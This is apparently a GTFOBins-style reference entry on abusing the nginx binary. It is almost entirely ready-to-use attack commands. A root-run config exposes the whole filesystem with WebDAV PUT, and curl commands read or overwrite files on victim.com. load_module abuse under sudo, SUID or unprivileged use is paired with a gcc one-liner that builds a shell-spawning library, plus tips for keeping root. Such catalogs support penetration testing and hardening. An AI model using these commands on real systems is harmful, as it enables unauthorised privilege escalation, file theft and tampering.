nginx

Upload

This executable can upload local data.

Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
cat >/path/to/temp-file <<EOF
user root;
http {
  server {
    listen 80;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}
events {}
EOF

nginx -c /path/to/temp-file
```
ReceiverAn HTTP client can be used on the attacker box to receive the data.
```
curl victim.com -o /path/to/output-file
```

Download

This executable can download remote data.

Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
cat >/path/to/temp-file <<EOF
user root;
http {
  server {
    listen 80;
    root /;
    autoindex on;
    dav_methods PUT;
  }
}
events {}
EOF

nginx -c /path/to/temp-file
```
SenderAn HTTP client can be used on the attacker box to send the data.
```
curl -X PUT victim.com/path/to/output-file --data-binary @/path/to/input-file
```

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

CommentAlternatively, the ssl_engine directive can be used.
Unprivileged
This function can be performed by any unprivileged user.
```
cat >/path/to/temp-file <<EOF
load_module /path/to/lib.so;
EOF

nginx -t -c /path/to/temp-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
cat >/path/to/temp-file <<EOF
load_module /path/to/lib.so;
EOF

nginx -t -c /path/to/temp-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
cat >/path/to/temp-file <<EOF
load_module /path/to/lib.so;
EOF

nginx -t -c /path/to/temp-file
```
Payload
As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:
```
echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -
```
Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.